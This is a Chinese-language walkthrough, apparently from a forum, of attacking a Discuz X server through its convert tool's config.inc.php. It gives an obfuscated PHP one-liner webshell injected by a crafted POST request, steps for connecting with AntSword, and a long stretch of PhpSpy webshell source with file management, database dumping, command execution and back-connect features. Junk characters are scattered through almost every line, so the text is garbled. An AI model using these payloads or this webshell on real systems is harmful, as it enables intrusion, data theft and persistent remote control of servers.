|
攻击思路:5 o0 k) Q: Z4 Q S* Q
想要拿下一台主机A的权限:! d. x2 Y( T( X- b
1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞9 Z7 ^7 W. O: x$ V
2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权
) \7 Z4 T- t V6 {3、传上去后,得到apache用户普通权限,再提权成root! Y9 Q B* ], b0 U' K
概述:
4 o; @6 m F9 ]" ?这突破在一个DZ X系列自带的转换工具里面。
- B, t. u8 c1 e8 ~1 J: }+ `! M漏洞路径:utility / convert / data / config.inc.php
# q1 S/ _; G) | e* m9 K漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。5 ^. ^6 ?* F. o$ R) [ p4 Q
触发突破过程:( _" w8 {- t# J3 |) z/ j0 O4 I9 t
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php
, ]9 y2 _0 k; O) C9 K$ a4 r8 F' c" |, a2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序6 O; c! K* n! A {
攻击过程:" ~/ z+ q! Y: |/ T" [/ ?2 K5 L/ L
1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/3 H; V" w$ ~; Y# A1 W2 c! ^/ G
" l |. t, R) \# l* [
8 [ {* a' E. y/ m: Y
2,右键单击空白处,选择发送到中继器,将报文发到中继器 
3、然后在中继器中查看信息: 
4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes这是一个经过加密的一句话木马解密后内容如下: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa eval("$_POST[c];"););eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行 
5、修改完成后发送数据包 
6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php 代码详细: 
可以看到和我们修改提交的参数类似。而且多了很多^ M符号。 扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n 7、祭出祖传的中国蚁剑连接刚才上传的一句话木马
4 g9 X& d. p. E( k3 K" S ! o4 _8 n9 E' X4 F/ M' _
8、通过中国蚁剑上传大码. e. {1 K- \/ j

) |1 }& b+ E6 U( o; z
7 o+ x% O1 ~( G* ~2 [- d: D5 K10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd webshell代码如下: - <?php% e& n# P9 b3 U$ B/ ~
- ( x$ L) i/ y; k" [- w8 g8 ^) V+ o
- /*****************************************************************************4 l" t a, x. h( T
-
- z2 h. d6 Q9 A' A9 l! Z5 L - ===================== 请误用于非法用途,造成一切后果与本人无关。====================0 N0 e" C0 o4 E, j; u& p
-
) Q4 R' L9 e5 s$ a- F - ====1 X K0 E4 Z8 H
- ; t& ~* n) x r& ~
- ' V2 @& u; g& g; v, @
- *****************************************************************************/- l; E$ b( }, m
- ?1 Q' P, q! R# h3 X/ R. b
- error_reporting(7);- c, P. v% A2 D
- @set_magic_quotes_runtime(0);
7 p4 n2 h0 m% C K( n - ob_start();$ D# ~% Z/ J+ @# D- `: p
- $mtime = explode(' ', microtime());
' Z! Y+ h; \5 _% ]$ K* d: x5 E - $starttime = $mtime[1] + $mtime[0];$ ?# L" ?0 r0 V6 {
- define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');, v( p2 U$ ^, v; @) @" @6 y) }9 D
- //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );" Z B& N* d* z" {. d
- define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
0 P3 x0 u! M" j; N - define('IS_COM', class_exists('COM') ? 1 : 0 );+ L0 P. L- O$ R. g
- define('IS_GPC', get_magic_quotes_gpc());
) g6 y0 k* I H. _6 U! ] - $dis_func = get_cfg_var('disable_functions');
! r7 S, o2 |3 Z" j - define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
2 l2 m1 J; j/ F" A/ ` - @set_time_limit(0);) _' \3 n3 r* I/ y, b+ J
-
* t, a% M1 w0 ~( n - foreach(array('_GET','_POST') as $_request) {% a. m* d b( J
- foreach($$_request as $_key => $_value) {
/ @. A% a* j, m" ]# F - if ($_key{0} != '_') {4 K4 H1 e# g' h6 K
- if (IS_GPC) {
* Y! K7 Y, W9 w) S; r, n' U+ | - $_value = s_array($_value);
' x) M0 b) q/ }1 s; v - } ~/ D" z X3 @
- $$_key = $_value;
, M. _. J& F3 c! E - }4 X( N7 g- K8 B5 F$ _0 t' j
- }* H0 P& |8 X$ ^# @! N1 X
- }
y' }+ |( h- T" P -
1 J' B1 u& @& T* t; C6 x0 ?4 Q - /*===================== 程序配置 =====================*/
( f* e/ \ w$ u! I - $admin = array();
- ~* w" a* j( _. m! A/ G - // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效( r/ Y4 ~! ]8 n ]9 s7 D2 M
- $admin['check'] = true;
) c1 B( B3 u9 [5 P6 T+ x - // 如果需要密码验证,请修改登陆密码
' t$ `1 M0 ^9 [: _7 F( \# ~( J* P - $admin['pass'] = 'xuegod';
3 o$ y# g( A. o/ E6 V - . u& N3 ]/ S1 G. m2 q: r5 H) b$ G z2 W
- //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
2 x" X$ d3 G% u3 w8 g' q3 P - // cookie 前缀
4 y$ W8 T6 d5 @" m' m% f! ~ - $admin['cookiepre'] = '';- d3 Q x$ z7 `7 k) Y
- // cookie 作用域
4 d A j" W8 e7 R/ A2 }% W - $admin['cookiedomain'] = '';
7 Y1 }! ]3 M. _, F! |$ X+ U - // cookie 作用路径0 C6 h8 ?# X# j% Q0 U% |8 l7 v
- $admin['cookiepath'] = '/';- ~+ \) j; O" ^$ U$ G
- // cookie 有效期
& W* G/ ?& \8 X0 ~8 n - $admin['cookielife'] = 86400;
, w7 X) D: |+ \- P% a8 V6 E& J - /*===================== 配置结束 =====================*/
% F5 ~) c& C6 `8 O0 S" c8 N9 L - 3 ~& G9 t6 b9 B v0 j5 t8 A7 ^
- if ($charset == 'utf8') {+ M: ^( n5 Q0 k7 V) k5 {7 Y- _/ V) ?
- header("content-Type: text/html; charset=utf-8");% m" H; T0 l$ A- |3 M: {% S' K3 e, N
- } elseif ($charset == 'big5') {
& I! A" n) X+ ~! {6 K - header("content-Type: text/html; charset=big5");
5 H4 ?+ q0 o8 p3 e4 `9 | - } elseif ($charset == 'gbk') {
! v/ g/ i: q" B$ O$ O- r5 D - header("content-Type: text/html; charset=gbk");% A: N2 O2 V* b+ G4 m3 k
- } elseif ($charset == 'latin1') {/ @' V( h5 ~* {& E K c
- header("content-Type: text/html; charset=iso-8859-2");* g7 J0 C/ y3 L4 A+ }/ {
- }6 x$ ^; c7 Q' j: j9 ^5 R0 n
-
/ J# D# k; E* A' y. Z% L" [+ k - $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
% T+ ^! a' v Z- Z - $timestamp = time();
, j: V& z- _" j) @ - 7 e) E4 n8 k4 k) y. r
- /*===================== 身份验证 =====================*/
4 e P6 f3 v) g - if ($action == "logout") {# E8 W# q+ i+ M; ^! d8 y6 I* s5 }
- scookie('phpspypass', '', -86400 * 365);" |' _3 J! S( Z2 U! L; X; q
- p('<meta http-equiv="refresh" content="1;URL='.$self.'">');% U9 ~9 J# x# D0 k( \$ E
- p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
* S: K6 q' w L$ A* g' d - exit;2 K/ E/ L$ A1 z: A' Y" _, l/ J
- }
! m/ s3 E: }3 C& U/ w - if($admin['check']) {
6 x% }* u7 u- E9 j& s - if ($doing == 'login') {7 Q% g- x' ? \' [ C* j$ ]
- if ($admin['pass'] == $password) {: M' p5 G* H& K, H, {
- scookie('phpspypass', $password);
7 J$ c$ E7 {9 \; D: ]; ~9 J) J - p('<meta http-equiv="refresh" content="1;URL='.$self.'">');3 X! C$ N6 v# K3 B+ d3 z R6 L
- p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');1 f* g/ b9 m0 k4 D2 A2 b
- exit;
7 P; h# N7 S1 h3 k* U: t# P - }$ R3 z# S& {6 w
- }
( R* g7 C5 k' ?6 X - if ($_COOKIE['phpspypass']) {; _2 j* X5 Q) q9 Y1 E! P" U
- if ($_COOKIE['phpspypass'] != $admin['pass']) {
3 g5 L, Y, r7 r9 u% b - loginpage();) n; L( O( @5 C2 b' |. _# T
- }9 i% J2 Y4 H! ?2 K& i" q
- } else {
& Y) U- i$ I( U ~" f* W% o4 l" t- D: ~ - loginpage();& a5 ^8 p( h+ c
- }
% L' A5 [1 j' g' e - }
~; G' @$ l4 l+ e8 z. z. p" K - /*===================== 验证结束 =====================*/
3 X& e- V9 s( l' i# W0 L2 m6 x - S; W! F, {& W2 }2 x$ L3 l2 @: i
- $errmsg = '';
: r6 `. @9 Y* W# R -
% ]$ K+ y7 ]3 C5 y - // 查看PHPINFO5 ?, k2 O. w1 ]9 H3 v! M. V( d
- if ($action == 'phpinfo') {
; O! G4 x, }. x( f& J6 U: t0 K - if (IS_PHPINFO) {
& L( _3 S+ r8 i; \( v - phpinfo();+ v8 D1 L2 r6 ] ?8 a k& l
- } else {; \" ]) p" M! S) k; x! ]
- $errmsg = 'phpinfo() function has non-permissible';5 X" O, w- Q' p8 X# U
- }
% K0 g5 A. \- f1 ~( b' q - }/ z6 M$ U$ E. N% s- f
- % v) z8 |; b k: {
- // 下载文件
v' C9 q# w9 h" T7 a3 e% W- k - if ($doing == 'downfile' && $thefile) {
( I/ I6 n) p" h5 B8 b - if (!@file_exists($thefile)) {# \3 d0 G7 i8 y( G2 C! c
- $errmsg = 'The file you want Downloadable was nonexistent';3 ^( t s0 W9 b g4 q3 p" c+ o2 d
- } else {( L1 R# Q3 ~; E, J' j
- $fileinfo = pathinfo($thefile);: k# `5 m( u1 z5 k! M
- header('Content-type: application/x-'.$fileinfo['extension']);9 i$ K* E- h3 O
- header('Content-Disposition: attachment; filename='.$fileinfo['basename']);5 C% _4 D. h6 i
- header('Content-Length: '.filesize($thefile));
* T t& ?9 v# { _9 X F8 ^9 a$ x' P - @readfile($thefile);, n6 X! s0 v( a7 r/ D' @ y! i
- exit;; u8 {# z! I5 A( {% q& {" f
- }
( @+ Q; z; D$ S+ d - }/ |/ m7 D8 y) h* G2 A2 ~+ S( m
- - P% T p( d( R4 F; M
- // 直接下载备份数据库$ u* k) p# S5 f# I ~1 `- r) L+ [% z
- if ($doing == 'backupmysql' && !$saveasfile) {
* m/ c7 K) a* W! \ - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);) I1 g9 U+ S1 @! Q' [0 h
- $table = array_flip($table);
8 O9 k+ p0 N3 p% U: S) C4 W" w - $result = q("SHOW tables");* {/ I* u! Z& a7 L- K9 A
- if (!$result) p('<h2>'.mysql_error().'</h2>');1 Y' H5 x s; \9 c+ m+ Z' A3 F
- $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
# H2 f1 x! G* P: P - header('Content-type: application/unknown');
" j0 z2 k- Y0 K' h( U - header('Content-Disposition: attachment; filename='.$filename);
3 L! K1 w) ?$ K/ Q; c" s - $mysqldata = ''; h6 O' F, q* U4 U( M+ Q. r
- while ($currow = mysql_fetch_array($result)) {/ X& z- q1 @ j6 D: [
- if (isset($table[$currow[0]])) {
$ P5 E. |: ]: D1 m. f - $mysqldata .= sqldumptable($currow[0]);
) \, a( f! q0 y) U - }
: C' l. H3 g; J; v - }
. l. N0 ?9 M& S) m' O) T - mysql_close();) g4 k1 o0 H6 d- e, T1 ^
- exit;
; G( R: b- I d/ K. p$ g - }
8 K1 ?$ V' I1 N. _* } -
0 z1 D) i+ h9 p6 q - // 通过MYSQL下载文件7 q! E. x& s4 D2 j9 _* e3 l( M
- if($doing=='mysqldown'){
# M& n4 g$ P5 Q6 q( q - if (!$dbname) {
/ o8 e# `8 t2 G9 l4 o1 I" A - $errmsg = 'Please input dbname';, |6 I! J: ^: @" p8 t( W9 E3 c+ M
- } else {
9 e; x: [4 c, {/ E. A - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);, b* f( }6 r" K4 Z+ Z
- if (!file_exists($mysqldlfile)) {, ~/ o" g4 V7 O+ a( _
- $errmsg = 'The file you want Downloadable was nonexistent';
% I& I w% ]5 m - } else {1 H A' t' y T
- $result = q("select load_file('$mysqldlfile');");
8 c( A0 ?4 j- s# D - if(!$result){' w5 @- _6 E0 ]2 E2 p% X, O$ N s
- q("DROP TABLE IF EXISTS tmp_angel;");9 h; D2 u3 }' R* ?
- q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");% n! W8 E; Z! G/ k8 T- C' J0 q% t
- //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
2 ^% d. k0 ^4 N# L$ O( ]$ T% c5 l - q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
6 H" {% O' U; P5 n - $result = q("select content from tmp_angel");' E, A% F% L; B6 T% W7 D0 l
- q("DROP TABLE tmp_angel");- c; k5 u; Y* o1 [8 t5 `- r
- }
' p2 G: x+ k0 T - $row = @mysql_fetch_array($result);
9 A5 D( H/ }- a - if (!$row) {" H! @3 h* \5 S$ F8 Q- R
- $errmsg = 'Load file failed '.mysql_error();, h. U( {' S, w1 z0 l# u
- } else {
, D4 l( q3 @5 ?' P! z' G - $fileinfo = pathinfo($mysqldlfile);0 h4 p4 ^" W( g* i& R' a; H; ^
- header('Content-type: application/x-'.$fileinfo['extension']);
# y3 b5 Y0 Y$ [5 b- c0 a+ V - header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
5 w. \( Q0 S% m- u' L - header("Accept-Length: ".strlen($row[0]));7 B( W+ G5 l2 T; J+ Q+ U# A
- echo $row[0];
9 y2 v" R$ u* q8 |; i% M$ B# f) s - exit;* Q1 A& ?3 w& J: m$ X
- }6 U% }1 y; ^5 _. m
- }
1 V, v) _( _% U0 u1 s+ U _ - }
# V X+ `! c7 \" c7 W - }& G* e/ b3 A, u* F" H: ^$ m
- 1 O* L5 E9 @ h5 s7 e0 E
- ?>( T6 [/ X9 \% O H, W
- <html>$ b2 d( Q- s: w4 \7 @4 ?7 T/ E
- <head>
, H$ p, s ~& B( A |; f: p5 { - <meta http-equiv="Content-Type" content="text/html; charset=gbk">
1 n* U9 D% | t0 } - <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>* l0 p$ n! x! _+ ]9 H
- <style type="text/css">
$ g4 {( y, [! \4 P - body,td{font: 12px Arial,Tahoma;line-height: 16px;}
9 f! W( W7 l$ x1 A! q Y" C - .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
! V; D. x( z1 T) _9 X - .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}& q" ^) T5 q& Z# R/ i/ Y! g' y2 T
- .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
- |+ K- e$ I/ E2 M( T) ?- V9 f8 O - a {color: #00f;text-decoration:underline;}
w! r' G: v9 W' V; p - a:hover{color: #f00;text-decoration:none;}, l& t! s+ y* T* L1 d
- .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}- k. {6 I; k- E
- .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
1 Y* U1 D- L# x' A1 H - .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
4 |8 j8 z$ ^$ T, H* k# p# F# g2 Z. C - .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
! ^- m* K9 r5 v9 G$ E0 B - .head td span{font-weight:normal;}
# V5 v4 C' l& h g2 `# p( Y - form{margin:0;padding:0;}
- I$ J9 N) b2 k+ \* c; _ - h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}; L" n) ]1 N: v7 a% v
- ul.info li{margin:0;color:#444;line-height:24px;height:24px;}) k: X( e3 `- r# `" t" c
- u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
) }' g8 i" o9 L- H3 Q. u; J - </style>" A) q9 h2 v6 L# y' F* m/ ?4 T
- <script type="text/javascript">
: _& u/ g6 I3 j8 p - function CheckAll(form) {
) X. B3 X, j/ u Q+ P& ?* ? - for(var i=0;i<form.elements.length;i++) {( S6 P. Y' t* b- M" j
- var e = form.elements[i];- S/ u j c! g$ P0 ~: m8 ?
- if (e.name != 'chkall')* V: K) X" t& K, G+ l, f
- e.checked = form.chkall.checked;
* J `' x3 Z/ b2 P' f - }& F, A4 ~; I! B- w7 x
- } d8 n" s! w# O; n: Z/ b$ r
- function $(id) {
3 f m( M4 U3 O" ?" }# s - return document.getElementById(id);
$ V& K i, w' t- H- w0 K& { - }( `1 q0 W' \$ p5 H0 J
- function goaction(act){5 I& z7 Z) g& h+ O! @
- $('goaction').action.value=act;0 A* [8 u' H- n- x
- $('goaction').submit();. {# x# c; P+ o' H* L
- }
s2 g% L7 I1 {' P" z - </script>
. a/ Q# ~, }/ g: P6 q5 m - </head>. ~% q1 `8 j7 q% P8 _+ ]( K
- <body style="margin:0;table-layout:fixed; word-break:break-all">
7 V# N- |0 z8 p6 R2 f - <table width="100%" border="0" cellpadding="0" cellspacing="0">. u* |9 D0 s2 s; |
- <tr class="head">4 m7 e: C# j1 W4 p
- <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
* n! w: h' }$ h# F7 f1 q - </tr>
; d; b- m$ ]1 `" v0 i4 S - <tr class="alt1">$ E) Y# O: s: E1 O+ F3 k0 R
- <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
( v! c/ m3 |! K' ~6 Z - <a href="javascript:goaction('logout');">Logout</a> | 3 {4 |$ h3 w D& ?3 J6 o+ k1 t6 P
- <a href="javascript:goaction('file');">File Manager</a> |
% n, X9 k# [& _# D: L+ F) U - <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
3 L# D4 C" z/ T* c6 R+ \ - <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
. F/ H: H$ T2 V# O% H - <a href="javascript:goaction('shell');">Execute Command</a> |
" h8 F, V* b% \+ z* u1 s/ r* z - <a href="javascript:goaction('phpenv');">PHP Variable</a> |
! B5 y; y O& m. g' h$ l$ Y - <a href="javascript:goaction('eval');">Eval PHP Code</a>* g+ @& @9 b9 P" ^" r3 p, ?
- <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
* J- W' c) W2 S* @ - </td>, ~: ~. T$ Y7 d5 Z! c: M- I7 L2 [
- </tr>
7 O# M" i* D9 E( H. Y$ {* m - </table>
; a5 m4 l% v" k+ I% @5 | - <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
I4 I& r8 q) a' |/ k8 v/ W- |4 b - <?php6 w- i# X; i& q. h
- X% j! D2 \1 F% O5 n% R: M
- formhead(array('name'=>'goaction'));
v" r6 Y- V5 ]" A$ d1 t: R - makehide('action');
6 v- X" m5 e" n; |9 b9 E - formfoot();+ {+ v$ G0 A+ V, S A
- 1 \# D0 X. J s/ V
- $errmsg && m($errmsg);: r- R: y2 w( x5 c9 s, _4 f d |, \) |
- $ t7 H, u4 d# y4 c. a
- // 获取当前路径+ R" @4 t) N/ n
- !$dir && $dir = '.';
; w% c5 o! U9 } - $nowpath = getPath(SA_ROOT, $dir);) ^( R9 Z8 g" U/ P, a
- if (substr($dir, -1) != '/') {4 n# \4 W+ d2 F+ @! c1 e/ G/ K3 X3 r* B
- $dir = $dir.'/';6 V8 c( ?) j: T4 b0 [
- }: K8 I. i, y c, b# w
- $uedir = ue($dir);3 A8 w! ^8 Z4 W- K2 J- H* x
- 9 }% P; j( A2 W+ m1 z0 C+ Q5 P2 ?! ? w9 K
- if (!$action || $action == 'file') {
4 m* o: c% T0 t6 C. ? -
8 _2 [6 |+ ^; T7 N$ W5 B - // 判断读写情况( L1 p, Y- Q: f l/ _
- $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
7 a& m+ |. e! L w - . B- Z% y% F9 N/ x; {& q" W
- // 删除目录% {2 r4 X: Y, P8 O- U0 q x# F
- if ($doing == 'deldir' && $thefile) {
) Y6 q% i6 H7 R( ^0 r4 |; n* l - if (!file_exists($thefile)) {
0 L! | I2 q& Z* t% }9 X. y - m($thefile.' directory does not exist');
% A, ^# P7 R6 o9 i" i; L - } else {
% Y1 O1 R6 ?3 c7 z% Z6 T" @ - m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));" c1 c/ l4 G& v$ V( t- G7 ~+ Z
- }
# \. d( Q' X, N5 R7 q' O' E" H D - }3 i# o, o2 u7 U# `; P7 H1 v
- 3 `4 y0 ] F' }7 I* h
- // 创建目录
/ A. B: M7 B4 l+ H, [+ @ - elseif ($newdirname) {
$ D5 t7 N! c7 N0 P - $mkdirs = $nowpath.$newdirname;3 W& f% M) @( d) t
- if (file_exists($mkdirs)) {
" k7 f" g8 ?" C8 } - m('Directory has already existed');. o9 L3 ? L: D e% c
- } else {4 C' ^$ J5 Y: T9 z( z
- m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
' I+ k/ _+ B2 ^/ w. ? - @chmod($mkdirs,0777);
( R2 G# l. ^- ]8 D7 B - }9 y- e5 h( z) F: v
- }
7 s# @1 N/ a6 a6 Z1 ~8 @( n7 T -
v/ O Q/ G0 _- R - // 上传文件
- \& v8 o& j" ^% U, V& f' I* K$ ^ - elseif ($doupfile) {
6 v3 j/ t! F, E' I* F8 x0 C: G6 j - m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
9 K7 t# Q2 x' p8 G4 G - }
+ K' a; a- p7 S+ u -
) Q3 Z# i5 `4 x8 K: ^ - // 编辑文件3 I$ K6 L- z/ o' W+ _6 q5 y% Y
- elseif ($editfilename && $filecontent) {
0 H2 A4 S6 |7 P( a - $fp = @fopen($editfilename,'w');
& o* O" C. h$ U6 ~# { - m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
5 Q: J/ C1 j, U" K" y9 [$ R - @fclose($fp);" V$ [- Z" h3 z5 `
- }6 x# M4 S7 L: z' N6 R# B3 w
- 6 w3 j1 x( x1 G
- // 编辑文件属性+ ~2 t, S0 Z) v3 u6 f6 G9 W9 [
- elseif ($pfile && $newperm) {
6 m Y: v& l2 ^: M4 X o - if (!file_exists($pfile)) {; q% `2 a* y+ {$ @- P1 s( ?8 }& J4 L
- m('The original file does not exist');
9 \/ O; B, z% |2 }7 j, }% i - } else {/ E$ P3 a0 y, D! w
- $newperm = base_convert($newperm,8,10);2 U4 I% K0 v: W9 w! e, o
- m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
* n! h" M! |: h" H - }
5 }" I1 `2 G3 M - }* K4 \) ]9 h* \/ N3 L' F2 A
- # a" h8 E1 Z: ?7 U& e5 O; y
- // 改名" P5 {) B" v3 f, g. _! v2 r
- elseif ($oldname && $newfilename) {
H6 n' P0 e1 g: [ - $nname = $nowpath.$newfilename;+ l1 n4 k/ [: ^/ H) X1 L: ^1 m
- if (file_exists($nname) || !file_exists($oldname)) {
+ a- v+ _- d! u' c5 @ - m($nname.' has already existed or original file does not exist');
; E) @/ ?' i: L# ~ - } else {
# l' B' I4 R: j* t/ N - m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));5 z+ U. o; A+ d* J3 @
- }" N$ B* }+ Y9 n0 O7 O6 Q7 c
- } T i- s4 ^( R9 r* P. r
-
# Z4 k6 O% }" M4 G - // 复制文件
! ~# x! p' r7 U0 F' x - elseif ($sname && $tofile) {
. m7 o$ P$ ]' m6 T% ^ - if (file_exists($tofile) || !file_exists($sname)) {4 \2 R( u' r9 k E) j; y) H+ d7 X
- m('The goal file has already existed or original file does not exist');' D. |) ]: f& _4 \" N8 o
- } else {
8 r) I& V. b3 c7 e- k - m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
! j# C V+ }# L7 s X - }
# F1 ]' n( H# | - }( {1 i+ H' d/ Z8 |9 x
-
+ X2 k$ c! ~8 g - // 克隆时间
5 U* |1 i9 j7 q/ I% d# v8 n* Z - elseif ($curfile && $tarfile) {/ O1 P, \( i+ {% ?! O4 H: u, X1 _0 P
- if (!@file_exists($curfile) || !@file_exists($tarfile)) {9 X! M ]: e3 I& X6 e0 [* M
- m('The goal file has already existed or original file does not exist');. R" c4 ]* F& c/ b4 j
- } else {
& b2 K8 D4 Y% `) i I - $time = @filemtime($tarfile);3 A K' P2 d9 N$ k6 {1 v
- m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
" N; ~, U4 F7 N1 D# { - }, ~! i% Y8 q! e' G5 B
- } C% v B5 S! D& A+ a0 Q1 a
-
" {1 `+ v1 b! a6 Y+ u F - // 自定义时间* @' x9 R: Q8 A& y, }+ w
- elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {% w" h O9 W$ ?: C5 t, q
- if (!@file_exists($curfile)) {2 M8 j" @, l1 p3 s; h
- m(basename($curfile).' does not exist');9 u& a7 d4 R+ Z: [
- } else {' M, A2 V( x+ F8 w* N" y4 l
- $time = strtotime("$year-$month-$day $hour:$minute:$second");) d/ ~- f7 Z1 p. ~' s! \7 W' H
- m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
! R- N( g- }4 D* J3 q$ C# z - }
6 ~5 X" ?7 O4 r$ `; R8 R, o - }8 w5 U9 T2 O3 {5 [# |
-
8 q; M; R/ m, \* N. X - // 打包下载2 z+ Z/ p. l% l' b0 }8 G2 ?
- elseif($doing == 'downrar') {" m+ y( c1 U6 o0 `2 G
- if ($dl) {
+ T# M3 Y# u, ~* \ - $dfiles='';
/ l3 P0 w; y1 d% T A( i6 ~- {1 T - foreach ($dl as $filepath => $value) {/ g+ b! C3 J; ~* V6 R% k
- $dfiles.=$filepath.',';# r) ` I, T# F- K: D
- }
& s) r9 E+ y. \' q - $dfiles=substr($dfiles,0,strlen($dfiles)-1);2 i# _ T, R( j1 y( x
- $dl=explode(',',$dfiles);7 q6 _" ^. P% J7 C4 M" C
- $zip=new PHPZip($dl);
8 P: ^; `1 y. Z# a - $code=$zip->out;0 p" G: F2 o/ q. V/ v7 `+ f! V
- header('Content-type: application/octet-stream');. R/ x/ f3 s7 F @* Y+ ~2 P
- header('Accept-Ranges: bytes');1 a# F3 ?5 u% p( u# o/ p
- header('Accept-Length: '.strlen($code));# |3 c( O3 E; h/ j v& H! w
- header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
8 i V& m' f5 h T - echo $code;& t$ R1 e; h( a# ^
- exit;
4 y& C: z* b+ P( j7 b( p0 x! d/ } - } else {
/ W# r0 J# t1 q - m('Please select file(s)');0 l2 h# Y9 F2 [4 G0 J- i' z4 M
- }
* F& E( K! q; X - }
" e% H+ I6 M$ E; K D -
; z& n8 z1 r7 B3 c0 d# n+ x - // 批量删除文件4 Y/ N5 L/ `; r% \& c+ o; S
- elseif($doing == 'delfiles') {
3 `- e) K* Z& `4 O# w) z& y - if ($dl) {" z9 d% F; U& r4 t: J; O
- $dfiles='';
8 v! C, l: g1 G - $succ = $fail = 0;& A+ S5 K5 E# ~
- foreach ($dl as $filepath => $value) {$ J" g8 I# \' Y
- if (@unlink($filepath)) {. ^4 u. P# Y% u3 _/ v/ [1 N, v0 g
- $succ++;' b1 I) }' v/ g1 n0 y
- } else {
8 C6 u# |7 t0 O8 \/ K! i - $fail++;0 f& g7 ?, I! f% ]
- }5 G1 v9 l i) b2 y" ~# ]
- }+ T3 b4 ~0 p& u2 X" O$ q5 L, l
- m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
& H7 d8 c2 T8 }+ l& L; D( N( l - } else {
3 ^$ G5 D4 r! I$ u7 r) b - m('Please select file(s)');0 s* M) b3 P+ ~7 w8 I# I
- }/ b/ W8 E3 h% s( T* }9 z7 A3 h
- } A/ X' o8 Z' l: L1 t$ O& x4 z/ p
- , Z. S% }8 D# P8 @6 L: ]8 U
- //操作完毕
